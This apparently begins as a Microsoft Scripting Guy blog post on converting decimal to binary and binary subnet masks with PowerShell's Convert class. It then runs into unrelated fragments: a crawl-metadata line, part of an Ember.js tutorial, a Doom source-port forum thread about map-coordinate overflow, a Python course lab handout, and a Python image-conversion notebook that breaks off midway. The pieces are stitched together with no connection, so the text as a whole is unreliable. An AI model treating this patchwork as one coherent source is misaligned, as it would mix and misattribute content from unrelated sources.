(890, 1485, 4)
Although this is not always the case, this PNG file contains four channels: the three colour bands (red, blue and green) and the alpha channel that stores the transparency information. We need to get rid of it with:
imRGB = imRGB[:,:,:3]
inFile = r'..\data\Windows_256_color_palette_RGB.csv' win256 = np.loadtxt(inFile,delimiter=',')
win256[:5]
array([[ 0., 0., 0.], [ 128., 0., 0.], [ 0., 128., 0.], [ 128., 128., 0.], [ 0., 0., 128.]])
Note that the colours are defined with integers ranging from 0 to 255.
See the end of this notebook in the appendix for an image of the colours present in the palette.
Next, we have to reshape the array of our RGB image to make sure it fits the same format with one column for each channel.
nrows,ncols,d = imRGB.shape flat_array = np.reshape(imRGB, (nrows*ncols, 3)) flat_array[:5]
array([[]], dtype=float32)
Note that in this case, the colours are defined with floats ranging from 0 to 1. Something to keep in mind for the next step.
Now we can compute the colours in the palette that are the closest to the colour of each pixel in our RGB image. This can be done easily using the
pairwise_distances_argmin function available in the scikit-learn library.
# import function from sklearn.metrics import pairwise_distances_argmin # run function, making sure the palette data is normalised to the 0-1 interval indices = pairwise_distances_argmin(flat_array,win256/255) # reshape the indices to the shape of the initial image indexedImage = indices.reshape((nrows,ncols))
If we now display our result with a "normal" sequential colormap like viridis, we will get a strange image. This is because the plotting function is missing a crucial bit of information, which is the palette that was used to perform the quantization.
fig,ax = plt.subplots(figsize=(6,6)) ax.imshow(indexedImage,cmap='viridis') plt.title('Quantization with nearest distance to win256')
<matplotlib.text.Text at 0x1f1ebcd5a90>
To display our indexed-color image properly with matplotlib, we need first to create the appropriate colormap with the colours of the palette. This is done with a function of the
colors sub-module in matplotlib.
new_cm = mcolors.LinearSegmentedColormap.from_list('win256', win256/255) plt.register_cmap(cmap=new_cm) # optional but useful to be able to call the colormap by its name.
Let's call
imshow again with our new colormap. We also need to add the
norm parameter to prevent
imshow from normalizing our indices.
fig,ax = plt.subplots(figsize=(6,6)) ax.imshow(indexedImage,cmap='win256',norm=mcolors.NoNorm()) plt.title('Quantization with nearest distance to win256')
<matplotlib.text.Text at 0x1f1ebd66748>
That's it! We can now save the resulting grid to a text file and import it into OpendTect as a 3D horizon.
However, in our example, there is one more necesssary step. The rotated red square on the image tells us there is a mismatch between the grid of the image and the grid defined by the 3D survey. This can be corrected by interpolation and this is the subject of the next notebook.
For now, we can simply save the array in a NPY file.
outFile = r'..\data\Kevitsa_geology_indexed.npy' np.save(outFile,indexedImage)
fig, ax = plt.subplots(figsize=(4,4)) ax.imshow(np.arange(256).reshape(16, 16), cmap = 'win256', interpolation="nearest", aspect="equal") ax.set_xticklabels([]) ax.set_yticklabels([]) ax.grid(False) ax.set_title('win256: Windows 8-bit palette')
<matplotlib.text.Text at 0x1f1ebddefd0> | https://nbviewer.jupyter.org/github/jobar8/Geophysics-Labs-Notebooks/blob/master/notebooks/01_Color_quantization_with_sklearn.ipynb | CC-MAIN-2019-43 | refinedweb | 684 | 58.69 |
This class represents the CaWE parent (main) frame. More...
#include "ParentFrame.hpp"
This class represents the CaWE parent (main) frame.
IDs for the controls whose events we are interested in.
This is a public enum so that our children (and possibly grandchildren) can have controls that trigger these events as well, e.g. child frames that duplicate our menu items or dialogs (any children of the child frames) that provide buttons for the same events. The IDs that the ParentFrameT class uses start at wxID_HIGHEST+1+1000 and the IDs that the various ChildFrameT classes (map, gui, and model editors) use start at wxID_HIGHEST+1+2000. This way, the children of the child frames (dialogs, panes, toolbars, ...) can start their own ID enumerations at wxID_HIGHEST+1. This keeps all IDs nicely unique when events bubble up from the dialogs, pane and toolbars first to the child frame and finally to the parent frame. See the "Events and Event Handling: How Events are Processed" in the wx documentation for more details.
The constructor.
The destructor.
Returns the currently active child frame or NULL if no map childframe is active (e.g. no map open or GUI editor is active).
Returns the document of the currently active map child frame or NULL if no map document is active.
The list where all map child frames register themselves on construction and unregister on destruction.
The file history of our and all our childrens "File" menu.
Our persistent "home" of the shared GL context. Used whenever there is no view.
The OpenGL rendering context that represents our app-global OpenGL state.
The list where all GUI child frames register themselves on construction and unregister on destruction.
The common clipboard for all GUI Editor child frames.
The list where all model child frames register themselves on construction and unregister on destruction.
A white texture map that is set as default lightmap whenever nothing else is available.
The OpenGL attribute list for this window. The same list must be used for all child windows, so that they get identical pixel formats! | https://api.cafu.de/c++/classParentFrameT.html | CC-MAIN-2018-51 | refinedweb | 345 | 74.19 |
On Sun, May 20, 2012 at 04:31:13PM +0530, Jeffrin Jose wrote:> Fixed spacing issues related to different operators> like * and : found by checkpatch.pl tool in ipc/sem.c> > Signed-off-by: Jeffrin Jose <ahiliation@yahoo.co.in>All three of the spacing fixes in this patch look correct.Reviewed-by: Josh Triplett <josh@joshtriplett.org>However, I see one instance of another type of spacing issue in thepatch context:> --- a/ipc/sem.c> +++ b/ipc/sem.c> @@ -964,7 +964,7 @@ static int semctl_nolock(struct ipc_namespace *ns, int semid,> up_read(&sem_ids(ns).rw_mutex);> if (copy_to_user (arg.__buf, &seminfo, sizeof(struct seminfo))) copy_to_user should not have a space before its open parenthesis.- Josh Triplett | http://lkml.org/lkml/2012/5/20/96 | CC-MAIN-2016-30 | refinedweb | 116 | 53.27 |
Proposals:Refactoring Wrapping
From KitwarePublic
Refactoring ITK Wrapping
The current process used for Wrapping ITK requires a number of steps for adding new classes to be wrapped. Some of those steps can be simplified if the wrapping process is reorganized.
This proposal gathers the work of
- Benoit Regrain (Creatis Team, France)
- Gaetan Lehmann (Inra, France)
As a background,
- Creatis already contributed to ITK the library GDCM that is currently the official DICOM reading and writing library.
- Gaetan is the official packager ITK for Linux Mandrake.
Proposal
Use of CMake to generate wrapping
- All wrap_Xxx.cxx files, concerning the ITK classes wrapping, are now directly generated by CMake.
- All wrap_XxxLang.cxx files, concerning the module wrapping, are now directly generated by CMake
The advantages of these changes are:
- There is no enough C++ macros (that are numerous and copied between some files... ex : All Transform classes wrapping).
- All classes are wrapped with consistent rules. The mangled name is then coherent between all classes.
- It simplifies the integration of the two next points (Wrap an own class and Tree of templated classes)
- The itkCSwigMacro.h and itkCSwigImage.h files are now useless...
- Best support for future ITK addons
The disadvantages of these changes are:
- The mangled name isn't kept
The write of these files is made using CMake macros. These macros are in CSwig/WrapITK.cmake The CSwig/WrapType*.cmake files are help for the basic types and advanced types creation. These types are used define the template classes.
Wrapping a user-defined class
The first change tails this second point : all files are genericly created.
The project to create the corresponding libraries and files to a module is placed in a generic macro, generic in the sens that this macro independant to ITK.
This macro and all used macros are placed in the CSwig/itkConfigWrapping.cmake file.
So, if an user want wrap its own ITK class... or extent the wrapping of an existing ITK class, it must include the itkConfigWrapping.cmake and WrapITK.cmake files and use the corresponding macros to his work.
In the itkWrapping CVS repository, there is an example to simply wrap my own class itkImageNothingFilter (easy filter that do nothing on the image). This example is completed with a Python test file.
Tree of templated classes
The goal is to have a simplest and generic use of templated ITK classes.
It's important to note that the previous use of classes is always available. This is only an advance (actually for Python, but may be generalized to Tcl and Java).
Consider this python example :
def write( itkImg, file ) : # typedef itk::ImageFileWriter< itkImg::Self > writerT writerT = itkImageFileWriter[ itkImg ] writer = writerT.New() writer.SetInput( itkImg ) writer.SetFileName( file ) writer.Update()
This function will write an image (itkImg) in a file. But the writer creation is dependant to the itkImg type. The goal is : offer the possibility to the programmer to instanciate an ITK class without before known of the itkImg type.
To have it, I will create a new class instance of itkPyTemplate type while the wrapping of the ITK classes. So, I will have :
itkImage = itkPyTemplate("itkImage")
For specific internal processing, The itkPyTemplate class can be used like a python dictionnary
Next, I will call the set method on this new class instance to add different templates :
itkImage.set("unsigned short,2",itkImageUS2)
First parameter is the template type used as a key and the second parameter is the definition corresponding to the key.
So, I can write :
itkImage[itkUS,2]
to get the itkImageUS2 class. After, I call the New method on this class and I get a class instance.
The code of the itkPyTemplate class is at CSwig/Python/itkPyTemplate.py The code to generate these classes is written by CMake. It's in the resulting file : itkcommonaPy.py for the common part Last, we need call the itkcommonaPy module.
All of these created python modules are imported in the itkPython.py file so, the user only needs to import the itkPython module use this advance In the CSwig/Tests/Python directory, I added the testTemplate.py and testTemplateUse.py files to test the class creation
The code to write the itkcommonaPy.py file is in CSwig/WrapITKLang.cmake This code contains the WRITE_LANG_WRAP macro that will write these additionnal python classes
This solution is actually only in python but it can be implemented for Java (I don't know if Tcl has classes... but a similar solution may be found).
This patch can be removed by remove the code contained only in the macros in the CSwig/WrapITKLang.cmake file. But I think that patch is a usefull advance. | http://public.kitware.com/Wiki/Proposals:Refactoring_Wrapping | crawl-003 | refinedweb | 776 | 66.23 |
Setup and Install OpenTelemetry in the Browser
This Quick Start shows you how to use OpenTelemetry in your browser to:
- Configure a tracer
- Generate trace data
- Propagate context over HTTP
- Export the trace data to the console and to the Lightstep
- Enable auto instrumentation for document load
- Enable auto instrumentation for button any XMLHttpRequest
The full code for the example in this guide can be found here.
Requirements
- An up to date modern browser.
- An app to add OpenTelemetry to. You can use this example application or bring your own.
- A Lightstep account, or another OpenTelemetry backend.
Need an account? Create a free Lightstep account here.
Installation
To use OpenTelemetry, you need to install the API, SDK, span processor and exporter packages. The version of the SDK and API used in this guide is 0.5.1, the most current version as of writing.
npm install @opentelemetry/api @opentelemetry/web @opentelemetry/tracing --save
Run OpenTelemetry Lights>
To log to the console, add the ConsoleExporter in to your tracer setup.
import { ConsoleSpanExporter, } from '@opentelemetry/tracing'; // after you have created your TracerProvider, create a ConsoleExporter and add it as a SpanProcessor tracerProvider.addSpanProcessor(new ConsoleSpanExporter())
If your implementation is creating spans, you will now be able to see them in the console:
{ ] } ] } | https://opentelemetry.lightstep.com/js/browser-setup/ | CC-MAIN-2020-50 | refinedweb | 210 | 55.74 |
Hello,
I've tried a few differently-termed searches on this forum, but drawn a bit of a blank in terms of finding enough info to sort my problem. Apologies, however, if the answer is out there (which I'm sure it is!) and I just haven't found it....
Anywho...
I've done a simple script to list some pets for sale (here:) but am having right problems getting the "tablesorter" AND "Lightbox" to run alongside each other. At the moment it's either/or.
Now, from my searching, I gather that its because of the inclusion of both "prototype" and "jquery" (which I've hosted together on my central script-serving space in this example, and linked-to from the <head>)
Is anyone able to suggest what I can do, to get both of these working?
Currently, it's only the lightbox. However, in this example here: [[URL=""]](), because I've flipped the order of the javascript file calls in the header, it's the "tablesorter" which works and the "lightbox" which breaks (presumably because the latter file call over-rides the earlier).
Any ideas? Thanks a million!
Alex
Hey Modtup,
Thanks for replying.How do I implement this?
Al
If you are using jQuery with either mootools or prototype, just use jQuery("#el").method() instead of the usual $("#el").method() ...
Can you try below...thanks.
jQuery(document).ready(function() {
jQuery("#products").tablesorter();
});
Fab, thanks so much - sorted!What was the conflict, could you explain so i know? I'm assuming it was because of "prototype" and "jquery"?
This was the first link: Link1And this the second: Link2
What was the conflict, could you explain so i know?
"$" is commonly used by both prototype, mootools(I think) and jQuery...so using "jQuery" object ensures that no you're always on jQuery namespace not with other libraries.
Post the code here, I'll give you an example...can't see your post or screenshot as tinyurl is blocked in KSA. | http://community.sitepoint.com/t/lightbox-not-running-alongside-tablesort/65453 | CC-MAIN-2015-11 | refinedweb | 331 | 74.59 |
12 November 2012 01:59 [Source: ICIS news]
RIO DE JANEIRO (ICIS)--Threats to economic growth will continue to loom in the new year, a Brazilian economist said on Sunday.
Economic growth is crucial for petrochemicals because demand is strongly correlated with GDP.
In all, the world economy will unlikely return to its growth rates before the downturn, although major hurdles will unlikely appear, said Eduardo Giannetti da Fonseca, a Brazilian economist.
He made his comments during a presentation at the Latin American Petrochemical Association (APLA) annual meeting.
Threats, however, still remain, he said.
The banking and fiscal crisis in southern Europe could spread to the northern part of the region, threatening a repeat of the ?xml:namespace>
The situation has recently improved, as the role of the European Central Bank could be expanded, he said. "I feel more comfortable regarding
For the
The fiscal cliff is the combination of several expiring income tax cuts from the previous presidency of George Bush and other effective tax increases, plus a mandated sharp reduction in federal military and domestic spending.
All together, the expiring tax cuts and spending cutbacks could take as much as $800bn (€632bn) out of the
To avoid the fiscal cliff the US Congress and President Barack Obama must come to terms.
Failure could result in such dire consequences, Fonseca said he doubts the two sides will not come to terms.
"I think common sense will prevail," he said.
In
Given how much the legitimacy of the Chinese state depends on economic performance, Fonseca expects that the country will successfully adopt the proper monetary and fiscal policy to maintain economic growth rates of 7.5-8%, he said.
In the
The APLA conference ends on Tuesday.
( | http://www.icis.com/Articles/2012/11/12/9612978/apla-12-threats-to-growth-will-persist-in-13-brazil.html | CC-MAIN-2014-41 | refinedweb | 287 | 51.07 |
Okay, I’m going to preface everything in this post by saying what I’m going to be describing is not what you would consider the most secure SharePoint web application in the world. If you are working with sensitive content then this is probably (but not absolutely) NOT the best solution for you. However, if you are totally into Yammer and the fluid collaboration that it provides, but also love the features that SharePoint brings to the table, such as document management, search, etc., then this is something worth considering. In fact I would say that yeah, I may be something of a SAML sympathizer, but this is actually pretty cool. In a nutshell, here’s what I’ve done: I’ve created a web application in SharePoint that uses Yammer “security principals” for authorization. Along the way, I’ve incorporated Azure Active Directory (AAD) and Windows Azure storage, the Yammer API, and a custom claims provider to create the solution. Let me start with a little bit of an overview.
First, let’s talk about the directory. In this scenario, I am NOT using Active Directory on premises or ADFS. This is a huge deal! Because of the capabilities in AAD and Yammer, it was not needed for this solution. Think about all of the onsite management that you no longer have to deal with, operate, patch, and maintain. I can tell you for all for all of the lab setups I use for this blog, it was pretty amazing and satisfying to not have to go through all of the typical pain I endure for something like this – creating one or more Active Directory controllers, building a new test forest, creating one or more ADFS servers, doing all the certificate setup, all the DNS setup, blah, blah, blah. Suffice to say it makes me tired. 🙂 This was a fantastic alternative. The solution itself looks something like this:
At a high level then it works like this: I have a Windows Azure subscription, and with that subscription is an AAD instance. In this case, my AAD instance is yammo.onmicrosoft.com. I also have an Office 365 tenant, and it also uses the “yammo” namespace, so it is at yammo.sharepoint.com and it is configured to use my yammo AAD instance. That means everything in my Office 365 tenant (if I want to use my cloud version of SharePoint) is secured with principals in my AAD yammo directory. In addition to that, I have a Yammer tenant that came with my Office 365 subscription, so my Yammer tenant also has a name of yammo.onmicrosoft.com. In this case my directories have been synced already, so they are unified. In an environment with an on premises Active Directory, I would do dirsync between it and both my AAD instance as well as Yammer to create that unified directory experience. That’s what the top three clouds in the diagram and their corresponding arrows represent.
Now, inside Yammer I have all of the users from the AAD yammo directory. In addition to that, I have Yammer groups. You can create any number of Yammer groups, and you can add whatever users you want to different Yammer groups (or they can create groups and add themselves). This model of self-deployment of groups and members is why I say that this solution is not for super sensitive content. The reason I say that is because the users and groups from Yammer become the security principals that will be used in SharePoint. There are two important pieces of code that make this happen:
- Scheduled Sync Job – I have written a console application that is scheduled to run periodically, and it queries Yammer to get a list of all the users and all of the groups in my Yammer tenant. The code for this sync job is based on the patterns and code I described previously in this post:. I think the model should be fairly straightforward if you’ve read that post and developed your own code based on that, so I’m not even including the source for the sync job in this post. Depending on how many users and groups you have it’s possible for it to take a LLLLOOONNNNGGGG time to retrieve all of them (potentially several hours if you have thousands and thousands). This is why it’s implemented as a sync job – we don’t want to try and retrieve all of them in real time. Instead, the sync job runs on its schedule and then it writes it all out to an Xml file. Xml is relatively easy to work with and XPath is pretty fast. Once that Xml file has been created, I store it in blob storage in Windows Azure storage, and that’s why you see that cloud included in this diagram. All of this also means that unless you have a fairly small directory, it won’t really be feasible to have this work in near real time. That just means when you add new groups or change group memberships in Yammer, you need to wait until the sync job runs again for that data updated for use with SharePoint.
- Custom Claims Provider – the custom claims provider looks for the Xml file in the local server cache. If it finds it then it uses the copy it has there, otherwise it reaches out to blob storage in Windows Azure, retrieves the Xml file, and sticks it in cache for future use. Then it loads it up and uses it for the XPath queries that are used in the various interface implementations of my custom claims provider. Easy peezy, right?? Okay, maybe not, but it’s not horrible at all either.
I started out by creating a new Office 365 demo tenant (which includes Yammer). In this part I must admit, I cheated just a little from what you will experience if you don’t work for Microsoft. The “cheat” here is that we have a spot where we can create a demo tenant, but it also creates a number of sites, adds content (both SharePoint and Yammer groups and posts), and adds 40 or 50 demo users. If you’re doing this yourself though that’s okay – you probably just want to create something from scratch anyways so you can put in your own company’s users. Given that you’re going to want to use some Azure pieces to make all of this work by the time you’re done, the easiest thing to do to start with is just create a new Windows Azure subscription. Here’s the bad part – you will have to provide a credit card to do this. Here’s the good part – Windows Azure Active Directory is free with your subscription so it won’t be charged. In fact, now every Windows Azure subscription is associated with an auto created directory in Windows Azure Active Directory. So when you create your subscription you’ll get your AAD instance ready to go as well. Once that’s set up, you can create your trial Office 365 tenant by going here:.
At this point, I have my Office 365 tenant, AAD instance, and Yammer tenant all created and working. Next, I created a storage account with the Azure subscription I have for this demo so I can store my Xml file in blob storage. Now for this, you WILL get charged. However, the rates for using blob storage (as of the time I wrote this) are $0.095 per GB for storage and $0.01 per 100,000 transactions. So in my case, roughly ten cents a month. Yeah, I can live with that.
Now to hook all the pieces up there are two things in SharePoint I need to be concerned about: authentication and authorization. For authentication, I’m going to use AAD (since that’s where all my accounts are at), and thankfully as I pointed out above, I will NOT be using ADFS and a local AD instance. As I point out in this blog posting – – it’s not possible to connect SharePoint directly to AAD (read the post if you need the details). So instead I went through the steps described in that posting to create a new ACS namespace with my Windows Azure subscription, and then add my AAD instance as an identity provider to it. I then added my on premises SharePoint farm as a relying party, created a rule group and was pretty much good to go at that point. Again, for complete details on this process just read the blog post above, I just followed that.
Now that authentication is taken care of, I need to think about authorization. As I mentioned at the beginning of this post, I want the authorization for this SharePoint web app to be based on the model used in Yammer. To do that, I need to integrate the Yammer group concept in my authorization rules. The way I do that is with a custom claims provider. My provider is really going to do three big things:
- When a user authenticates, I’m going to figure out who they are and then query Yammer to get a list of the Yammer groups they belong to (yes, I know that’s a dangling modifier but it just sounds better). I’m then going to add a role claim for each Yammer group.
- When search is invoked, I’m going to look in my Xml file that contains all of my Yammer users and groups and pull results from there for the people picker.
- When a user or group is selected I’m going to resolve the selected entities using the content in the Xml file.
For the claims augmentation piece, I use the same approach described here to figure out “who” the user is:. For my SPTrustedIdentityTokenIssuer I defined email address as the identity claim. I extract that, then do a lookup in the Xml file to get the Yammer ID for that person. Once I have that I make a REST call to Yammer to get the list of groups for the user, and then add each one to their list of role claims. The code is based on my previous post on using Yammer from a .NET client that I linked to above () and looks like this:
//look for the user
string qry = "Yammer/Entry[@email='" + upn.ToLower() + "']";
xNode = xDoc.SelectSingleNode(qry);
if (xNode != null)
{
//get the user ID
string ID = xNode.Attributes["id"].Value;
//query Yammer for the person
string response = MakeGetRequest(oneUserUrl.Replace("[:id]", ID), accessToken);
List<YammerGroup> userGroups =
JsonConvert.DeserializeObject<List<YammerGroup>>(response);
if (userGroups != null)
{
//enumerate through all the groups and add them as role claims
foreach (YammerGroup yg in userGroups)
{
claims.Add(new SPClaim(ROLE_CLAIM, yg.Name,
Microsoft.IdentityModel.Claims.ClaimValueTypes.String,
SPOriginalIssuers.Format(SPOriginalIssuerType.TrustedProvider,
SPTrustedIdentityTokenIssuerName)));
}
}
}
A few things worth pointing out in this code:
- To get the full context of this like the Urls being used, the XPath query, etc., look at the source code included with this post.
- I’m using the NewtonSoft.Json assembly to parse the list of groups for the user in this case; for this particular scenario and the format of the returned data it’s much easier than DataContractJsonSerializer.
- Note that since my custom claims provider is the default provider for the SPTrustedIdentityTokenIssuer, I’m using the format you see above for adding claims. I have multiple posts where I’ve described how and why you do that.
In terms of searching data, it’s really pretty straightforward – I just have what is effectively a wildcard XPath search to look for matches, and return PickerEntity instances for each match. The key code in search looks like this:
string qry = "Yammer/Entry[@name[starts-with(.,'" + searchPattern.ToLower() +
"')] or @firstname[starts-with(.,'" + searchPattern.ToLower() +
"')] or @lastname[starts-with(.,'" + searchPattern.ToLower() + "')]]";
XmlDocument xDoc = new XmlDocument();
xDoc.LoadXml(xml);
nl = xDoc.SelectNodes(qry);
So nothing earth-shattering there, just figuring out the XPath took a bit of time but once you have it down it all “just works” pretty well.
Finally resolving names is pretty similar to search, as you would expect. The only real difference is in the version of FillResolve that includes a claim, I know whether I’m looking for a user or group so I end up modifying my XPath slightly; the simplified version of it looks like this:
if (resolveInput.ClaimType == USER_CLAIM)
{
//look for the user
string qry = "Yammer/Entry[@email='" + resolveInput.Value.ToLower() + "']"; ;
//do stuff with the query here
else
{
//look for the group
string qry = "Yammer/Entry[@name='" + resolveInput.Value.ToLower() + "'
and @type='group']";
//do stuff with the query here
}
After that, as I alluded to above, I simply make my custom claims provider the default provider and I’m good to go. Here’s a screenshot of my claim set, which includes my Yammer groups:
Here’s a couple of screenshots where I’ve added a Yammer group to a SharePoint group to authorize it to the site:
Finally, here’s an example of a user that’s logged in just by virtue of her membership in the Yammer “Operations” group:
That pretty much wraps this up. I’ve included the source code to the custom claims provider I used. You will of course have to modify the account settings to get it to work in your environment. If you’re full on social then sharing this can be an interesting option for integrating SharePoint with your Yammer content.
thanks
thanks for sharing.,
Awesome post man, this is really informative in terms of the problem I’m trying to solve. One question though – would it be possible to run some variation of this solution completely in Office 365 – i.e. something that allows an O365 equivalent to a Custom Claims Provider to provide custom authorisation claims to SharePoint 2013 Online?
Thanks for the blog, keep the posts coming! | https://blogs.technet.microsoft.com/speschka/2013/10/26/creating-a-yammer-centric-security-setup-for-sharepoint-2013/ | CC-MAIN-2017-47 | refinedweb | 2,334 | 69.31 |
Building Models of Java Code From Source and JAR Files
Building Models of Java Code From Source and JAR Files
In this post I describe how I am working on implementing symbol resolution considering both source code and JAR files.
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Java-based (JDBC) data connectivity to SaaS, NoSQL, and Big Data. Download Now. and produce an Abstract Syntax Tree (AST). We can perform simple analysis directly on the AST. For example we can find out which methods take more than 5 parameters (you may want to refactor them…). However more sophisticate analysis require to resolve symbols.
In this post I describe how I am working on implementing symbol resolution considering both source code and JAR files. In this first post we will build an homogenous view on both source code and JAR files, in the next post we will solve these symbols exploring these models.
Code is available on GitHub, on the branch symbolsolver of effectivejava.
Resolving symbols
For which reason do we need to resolve symbols?
Given this code:
foo.method(a,b,c);
we need to figure out what foo, method, a, b, c are. Are they references to local variables? To arguments of the current method? To fields declared in the class? To fields inherited from a super-class class? What type they have? To answer this question we need to be able to resolve symbols.
To solve symbols we can navigate the AST and apply scoping rules. For example we may look if a certain symbol corresponds to a local variable. If not we can look among the parameters of that method. If we cannot still find a correspondence we need to look among the fields declared by the class and if have still no luck we may have to luck among the fields inherited by this class.
Now, scoping rules are much more complex than the bunch of little steps I just described. It is especially complex to resolve methods, because of overloading. However one key point is that to solve symbols we need to look among imported classes, extended classes and external classes in general which may be part of the project or be imported as dependencies.
So to solve symbol we need to look for corresponding declarations:
- on the ASTs of the classes of the project we are examining
- among the classes contained in the JAR files used as dependencies
Javaparser provides to us the ASTs we need for the first point, for the second one we are going to build a model of classes in JAR files using Javassist.
Build a model of classes contained in JAR files
Our symbol solver should look among a list of entries (our classpath entries) in order, and see if a certain class can be found there. To do so, we would need to open the JAR files and look among its contents. For performance reasons we could want to build a cache of elements contained in a given JAR.
(ns app.jarloading (:use [app.javaparser]) (:use [app.operations]) (:use [app.utils]) (:import [app.operations Operation])) (import java.net.URLDecoder) (import java.util.jar.JarEntry) (import java.util.jar.JarFile) (import javassist.ClassPool) (import javassist.CtClass) ; An element on the classpath (a single class, interface, enum or resource file) (defrecord ClasspathElement [resource path contentAsStreamThunk]) (defn- jarEntryToClasspathElement [jarFile jarEntry] (let [name (.getName jarEntry) content (fn [] (.getInputStream jarFile jarEntry))] (ClasspathElement. jarFile name content))) (defn getElementsEntriesInJar "Return a set of ClasspathElements" [pathToJarFile] (let [url (URLDecoder/decode pathToJarFile "UTF-8") jarfile (new JarFile url) entries (enumeration-seq (.entries jarfile)) entries' (filter (fn [e] (not (.isDirectory e))) entries )] (map (partial jarEntryToClasspathElement jarfile) entries'))) (defn getClassesEntriesInJar "Return a set of ClasspathElements" [pathToJarFile] (filter (fn [e] (.endsWith (.path e) ".class")) (getElementsEntriesInJar pathToJarFile))) (defn pathToTypeName [path] (if (.endsWith path ".class") (let [path' (.substring path 0 (- (.length path) 6)) path'' (clojure.string/replace path' #"/" ".") path''' (clojure.string/replace path'' "$" ".")] path''') (throw (IllegalArgumentException. "Path not ending with .class")))) (defn findEntry "return the ClasspathElement corresponding to the given name, or nil" [typeName classEntries] (first (filter (fn [e] (= typeName (pathToTypeName (.path e)))) classEntries))) (defn findType "return the CtClass corresponding to the given name, or nil" [typeName classEntries] (let [entry (findEntry typeName classEntries) classPool (ClassPool/getDefault)] (if entry (.makeClass classPool ((.contentAsStreamThunk entry))) nil)))
How we start? First of all we read the entries listed in the jar (getElementEntriesInJar). In this way we get a list of ClasspathElements. Then we focus only on the .class files (getClassesEntriesInJar). This method should be invoked once per jar and result should be cached. Given a list of ClasspathElement we can then search for the element corresponding to a given name (e.g., com.github.javaparser.ASTParser). For doing that we can use the methodfindEntry. Or we can also load that class by using Javassist: this what the method findTypedoes, returning an instance of CtClass.
Why not just using reflection?
Someone could think that it would be easier to just add the dependencies in the classpath of effectivejava and then use the normal classloader and reflection to obtain the needed information. While it would be easier there are some drawbacks:
- when a class is loaded the static initializers are executed and it could be not what we want
- it could possibly conflict with real dependencies of effective java.
- Finally not all the information available in the bytecode are easily retrievable through the reflection API
Solve symbols: combining heterogenous models
Ok now, to solve symbols we will have to implement the scoping rules and navigate both theASTs obtained from Javaparser and the CtClasses obtained from Javassist. We will see the details on a future blog post but we need to consider one other aspect first. Consider this code:
package me.tomassetti; import com.github.someproject.ClassInJar; public class MyClass extends ClassInJar { private int myDeclaredField; public int foo(){ return myDeclaredField + myInheritedField; } }
In this case we suppose to have a JAR containing the classcom.github.someproject.ClassInJar which declared the field myInheritedField. When we will solve symbols we will have these mappings:
- myDeclaredField will be resolved to an instance of com.github.javaparser.ast.body.VariableDeclarator (in Javaparser we have nodes of type FieldDeclaration which maps to constructs such as private int a, b, c;.VariableDeclarators instead point to the single fields such as a, b or c)
- myInheritedField will be resolved to an instance of javassist.CtField
The problem is that we want to be able to treat them in an homogenous way: we should be able to treat each field using the same functions, irrespectively of their origin (a JAR file or a Java source file). To do so we are going to build common views using clojure protocols. I tend to view clojure’s protocols as the equivalent of Java’s interfaces.
(defprotocol FieldDecl (fieldName [this])) (extend-protocol FieldDecl com.github.javaparser.ast.body.VariableDeclarator (fieldName [this] (.getName (.getId this)))) (extend-protocol FieldDecl javassist.CtField (fieldName [this] (.getName this)))
While in Java we would have to build adapters, implementing the new interface (FieldDecl) and wrapping the existing classes (VariableDeclarator, CtField) in Clojure we can just say that those classes extend the protocol and we are done.
Now we are able to treat each field as fieldDecl and we can invoke on each field fieldName. We still need to figure out how to solve the type of the field. For doing that we need to look into symbol resolution and in particular into type resolution, which is our next step.
Conclusions
Building model of Java code is something that has fascinated me for a while. As part of my master thesis I wrote a DSL which interacted with existing Java code (I had also editors, written as Eclipse plugins and code generators: it was kind of cool). In the DSL was possible to specify references to Java classes, using both source code and JAR files. I was using EMF and probably I adopted JaMoPP and Javassist for that project.
Later I built CodeModels a library to analyze ASTs of several languages (Java, JavaScript, Ruby, Html, etc.).
I think that building tools to manipulate code is a very interesting form of metaprogramming, and it should be in the toolbox of each developer. I plan to spend some more time playing with effectivejava. Fun times are coming.
Feel free to share comments and suggestions!
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Published at DZone with permission of Federico Tomassetti , DZone MVB. See the original article here.
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PROFESSOR MARK
PIETH
2 JUNE 2003
Q380 Lord Carlisle of Bucklow: This
Bill is based very much on an agent and principal basis. Do you
see any advantage in that at all?
Professor Pieth: I like the idea
generally as an abstract concept. That is where the dishonesty
comes in. Somebody goes against his duties towards his principal
and I would be interested in that, as far as my abstract need
as a professor, in understanding the general notion of corruption.
As a legal concept, to apply it in concrete cases, I have my doubts
whether the analogy that you might have from the private sector
really is applicable in the public sector. You will see that in
some clauses you have to take back again what you are saying.
You are giving an exception but saying this exception does not
apply to the public sector. The reason is that this agent/principal
idea cannot be fully applied throughout. This is up to you. If
you like this notion, I will not quarrel with you. This is your
domestic prerogative. I would find easier solutions preferable.
Q381 Chairman: I would like to go
back to your secretariat's submission which says, "As a definition
of the core mens rea element of the offence, clause 5(1)
is obscure, circular and unsatisfactory. It would be preferable
to devise an affirmative definition of `corrupt' or `corruptly'
using language drawn from existing common law cases and statutes
. . ." That is the first suggestion. ". . . or by using
the word `undue' as it is used in your Convention." I am
not sure whether "unduly" in English has the same meaning
in French. There is an element of legality, as I understand it.
"Unduly" does not necessarily import the concept of
illegality. What do you mean by "unduly"?
Professor Pieth: You could translate
"unduly" by "not legally foreseen".
Q382 Chairman: It has a purely legal
connotation but "unduly" in English does not necessarily
have legal connotations.
Professor Pieth: It has a moral
connotation, I accept. I think, in the way it is translated in
the continental European context, "unduly" means there
is no legal entitlement. That is why I am insisting that on an
objective basis you have to be very clear and then it can be simpler
in developing the mens rea.
Q383 Chairman: If you told a jury,
"You can do this unless you do it unduly" they would
not be very clear as to what was meant by that. We have somehow
to spell out "unduly" if we follow your suggestion.
What about the other idea that you could devise a positive and
affirmative definition of "corrupt" or "corruptly"?
They do not go on to spell that out in the document.
Professor Pieth: My secretariat
is independent. I did not advise them what to write there.
Q384 Chairman: I am not asking you
to defend it; I am just asking you to comment on it.
Professor Pieth: I would prefer
to simply eliminate the concept of "corruptly" here
because it is causing trouble. It is very difficult to define
it in positive terms. My suggestion would be to use something
like "not legally foreseen". I would work from the concept
of "undue" and translate that into straightforward,
ordinary language.
Q385 Chairman: Not legally foreseen
or not legally permissible?
Professor Pieth: It is more than
that. There is no entitlement. There should not be an entitlement.
We have a problem if an official takes money to which he has no
title.
Q386 Mr Stinchcombe: Knowingly to
confer advantage to which he had no legal entitlement?
Professor Pieth: That is right.
Q387 Lord Waddington: I thought we
had more or less agreed that there may be some difficulties in
explaining to a jury precisely what "undue" means, but
we are agreed, are we not, that this offence of corruption must
involve some improper motive? There must be either dishonesty
or lack of integrity or breach of duty. Something improper has
to surround this transaction, has it not?
Professor Pieth: By definition
